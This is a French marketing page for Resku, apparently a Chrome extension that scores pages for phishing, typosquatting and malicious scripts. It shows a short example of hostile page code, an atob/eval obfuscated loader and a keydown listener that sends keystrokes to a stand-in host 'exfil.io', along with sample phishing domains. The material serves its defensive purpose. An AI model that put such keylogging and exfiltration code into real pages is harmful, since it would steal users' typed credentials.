L'arnaque d'aujourd'hui n'est encore dans aucune liste noire

Voyez le piège
avant de tomber dedans.

Resku note chaque page de 0 à 100 avant que vous ne tapiez un mot de passe, un IBAN ou un numéro de carte. Faux colis, faux impôts, clone de banque : l'alerte s'affiche en ~200 ms, avant que la page ne soit utilisable.

Ajouter à Chrome
Gratuit · Sans compte
Installé en 12 secondes
Extension Chrome · Score et alerte rouge gratuits pour toujours
impots.gouv-remboursement.info
9
/100
ANALYSE EN DIRECT
Hameçonnage très probable
Faux domaine gouvernemental
Enregistré il y a 2 jours
Formulaire carte bancaire
96
/100
ANALYSE EN DIRECT
Aucune menace détectée
Domaine établi · 26 ans
Certificat DigiCert valide
Absent des listes noires
14
/100
ANALYSE EN DIRECT
Faux suivi de colis
Imitation de La Poste · 94 %
TLD à risque · .top
Demande de paiement 1,95 €
38
/100
ANALYSE EN DIRECT
3 signaux ambigus
Homographe « I » majuscule
Certificat de 5 jours
Langage d'urgence détecté
120+ RÈGLES · ~200 MSDOM LOCAL
⊘g00gle-account-recovery.zipbloqué⊘impots.gouv-remboursement.infobloqué⊘colis-suivi-laposte.topbloqué⊘secure-paypaI-verify.combloqué⊘amaz0n-prime.shopbloqué⊘auth-microsft.onlinebloqué⊘ledger-live-update.appbloqué⊘netfIix-renew.infobloqué⊘cpam-remboursement.netbloqué⊘dropb0x-share.linkbloqué⊘crypt0wallet-restore.iobloqué⊘facebok-security.helpbloqué⊘banque-postale-verif.combloqué⊘vinted-paiement.topbloqué⊘g00gle-account-recovery.zipbloqué⊘impots.gouv-remboursement.infobloqué⊘colis-suivi-laposte.topbloqué⊘secure-paypaI-verify.combloqué⊘amaz0n-prime.shopbloqué⊘auth-microsft.onlinebloqué⊘ledger-live-update.appbloqué⊘netfIix-renew.infobloqué⊘cpam-remboursement.netbloqué⊘dropb0x-share.linkbloqué⊘crypt0wallet-restore.iobloqué⊘facebok-security.helpbloqué⊘banque-postale-verif.combloqué⊘vinted-paiement.topbloqué
Conçu pour
SMS & colis frauduleux
victimes potentielles
Aidants familiaux
parents, grands-parents
Freelances & TPE
paiements en ligne
Équipes IT
déploiement navigateur
Journalistes & assos
profils publics à risque
Pour les aidants

Vos parents cliquent sur tout.

Vous ne serez pas toujours là pour regarder l'écran par-dessus leur épaule. Resku affiche le score à leur place, avant qu'ils ne tapent quoi que ce soit.

Installer sur leur navigateur
VOLUME
+70 %
de signalements phishing en France
Tendance observée par Cybermalveillance.gouv.fr : les campagnes par SMS et faux colis figurent parmi les premières menaces en France.
VITESSE
12s
pour saisir ses identifiants sur un clone convaincant
Scénario utilisateur typique : la page semble légitime, le formulaire est prêt.
ANGLE MORT
0
alerte navigateur sur une page trop récente
Les listes noires réagissent souvent en jours. Les campagnes durent des heures.

Source tendance phishing : Cybermalveillance.gouv.fr. Les autres chiffres illustrent des scénarios utilisateur, pas des mesures Resku.

Ce que Resku voit

Un score. Trois couleurs. Zéro jargon.

Vous n'avez rien à interpréter. Resku lit les certificats, les domaines et les scripts, et rend un verdict en trois états : sûr, douteux, dangereux.

impots.gouv-remboursement.infofaux site officiel
colis-suivi-laposte.topextension douteuse
secure-paypaI-verify.comlettre remplacée

Les faux domaines n'ont aucune chance

g0uv au lieu de gouv. paypaI avec un i majuscule. laposte.top au lieu de laposte.fr. Resku compare chaque adresse à 150+ marques protégées et repère l'écart d'un seul caractère, même invisible à l'œil nu.

exemple

L'IA repère les copies visuelles

Logo, favicon, structure de la page : comparés aux kits de phishing connus par une analyse IA côté serveur, en ligne et avec votre accord.

Analyse locale, données minimales

Le contenu de la page est lu dans votre navigateur et n'en sort pas. Seuls l'adresse et les signaux détectés remontent à notre API pour affiner le score.

// script caché dans la page
var _0x = atob("ZXZhbCg…");
eval(_0x);
addEventListener("keydown", e =>
fetch("//exfil.io", …));
Code obfusqué (atob + eval)
Keylogger sur les champs
Exfiltration cross-origin
iframe invisible 1×1 px

Le code malveillant est lu avant vous

Keyloggers, scripts obfusqués, exfiltration de données : détectés à la volée dans le DOM, avant que la page ne soit interactive.

La démo

Voici exactement ce que vous verrez au moment critique.

Ci-dessous : une page de connexion clonée, telle que Resku l'intercepte. Le panneau est interactif : parcourez les onglets, dépliez les contrôles.

g00gle-account-recovery.zip/signin/v2/identifier
CLONE DÉTECTÉ
Connexion
Récupérez votre compte Google
Suivant
Resku
Site dangereux

Cette page imite un service connu sur un domaine récent et signalé. Ne saisissez aucune donnée personnelle, ne téléchargez aucun fichier.

g00gle-account-recovery.zip
Confiance
12/100

Cette page imite un service connu sur un domaine récent et signalé. Ne saisissez aucune donnée personnelle, ne téléchargez aucun fichier.

41
Conformes
12
Attention
28
Risque
Signaux principaux
●Typosquatting
●TLD à risque
●Âge du domaine
●WHOIS privatisé
Anatomie d'une attaque

Une arnaque au colis dure 60 secondes. Décortiquons-la.

Un email urgent arrive09:41 · 01/05
« Votre colis est bloqué : régularisez 1,95 € sous 24 h. » Expéditeur plausible, logo parfait, zéro faute. Généré par IA en quelques secondes.
Comparatif honnête

Votre navigateur vous protège déjà. Mais toujours avec un temps de retard.

RESKU
Safe Browsing
(intégré à Chrome)
Antivirus
(suites classiques)
Focus arnaques SMS / colis (France)
Scénarios colis, impôts, CPAM
Non
Non
Réaction aux sites créés il y a moins de 24 h
Heuristiques temps réel
Non
Non
Score expliqué, signal par signal
0-100 + détail des vérifications
Non
Non
Détection visuelle d'imitation de marque
IA côté serveur en ligne
Non
Variable
Analyse des scripts de la page
Keyloggers, obfuscation, exfiltration
Non
Partielle
Confidentialité de la navigation
DOM local · données minimales
URLs hashées envoyées
URLs envoyées au cloud
RESKU
Safe Browsing(intégré à Chrome)
Antivirus(suites classiques)
Focus arnaques SMS / colis (France)
Scénarios colis, impôts, CPAM
Non
Non
Réaction aux sites créés il y a moins de 24 h
Heuristiques temps réel
Non
Non
Score expliqué, signal par signal
0-100 + détail des vérifications
Non
Non
Détection visuelle d'imitation de marque
IA côté serveur en ligne
Non
Variable
Analyse des scripts de la page
Keyloggers, obfuscation, exfiltration
Non
Partielle
Confidentialité de la navigation
DOM local · données minimales
URLs hashées envoyées
URLs envoyées au cloud
Installation

Protégé avant la fin
de votre café.

Pas de compte, pas de configuration, pas de redémarrage. Resku travaille en silence et n'apparaît que quand il a quelque chose à dire.

Installer maintenant
1
Ajoutez l'extension
Un clic depuis le Chrome Web Store. 12 secondes chrono, aucune donnée demandée.
2
Naviguez normalement
Chaque page est notée en arrière-plan, en ~200 ms. Vous ne remarquez rien : c'est le principe.
3
Resku vous arrête à temps
Page douteuse ? La barre latérale s'ouvre avec le score, les signaux et l'action recommandée.
Pourquoi Resku

Trois engagements qui ne bougeront pas.

Transparence

Score 0-100 et signaux détaillés : vous voyez pourquoi une page est suspecte, pas seulement un verdict.

Proactivité

Les pages neuves sont analysées par heuristiques : Resku n'attend pas qu'une liste noire les référence.

Confidentialité

Le DOM reste dans votre navigateur. L'URL, le domaine et des signaux techniques enrichissent le score via l'API : pas le contenu de vos pages.

Resku en chiffres · produit vérifiable
120+
règles d'analyserègles
12
modules dans le navigateurmodules client
150+
marques protégées (typosquatting)marques
~200 ms
objectif de latence (local + API)latence visée

Indicateurs techniques issus des modules de détection et du banc de test Resku.

Confiance

Un outil de sécurité doit être
irréprochable sur la vôtre.

Analyse dans le navigateur
Le DOM est lu localement. L'URL, le domaine, le titre et des signaux techniques sont envoyés à notre API pour établir le score : jamais le contenu HTML de vos pages ni le texte que vous saisissez.
Données minimales
Pas de télémétrie publicitaire, pas de revente de données ni d'historique de navigation revendu à des tiers.
Confidentialité documentée
Politique de confidentialité détaillée, droits d'accès et de suppression. Pas de certification RGPD affichée tant qu'elle n'est pas acquise.
Signaux explicites
Chaque point du score est expliqué dans la barre latérale. Vous jugez avec les faits : pas avec un blocage opaque.
Disponible

Ce qui est disponible aujourd'hui.

Uniquement les fonctionnalités livrées et vérifiées dans l'extension publiée.

Disponible maintenant
Extension Chrome, Edge, Brave & Arc
Score 0-100 + alerte rouge bloquante
~190 vérifications en ligne (120+ règles, 12 modules client)
Analyse locale : domaines, DOM, scripts, protection ClickFix & collage
Enrichissement API : réputation, DNS/TLS, ML et détection visuelle de marque
Barre latérale : historique, liste de confiance, signalement d'erreur
L'analyse commence dans votre navigateur. Pour établir le score, Resku envoie à son API l'URL, le domaine, le titre de la page et des signaux techniques (présence d'un formulaire, favicon, structure du DOM) : jamais le contenu HTML complet, le texte que vous saisissez ni vos cookies. Les contrôles visuels de marque côté serveur peuvent transmettre une capture de la page, avec votre accord. Le détail figure dans notre politique de confidentialité.

Le prochain faux site
est déjà en ligne. Prenez l'avance.

Installation gratuite, sans compte, en 12 secondes. Une source d'inquiétude en moins.

Ajouter à Chrome : gratuit
Gratuit · Sans compte · Analyse locale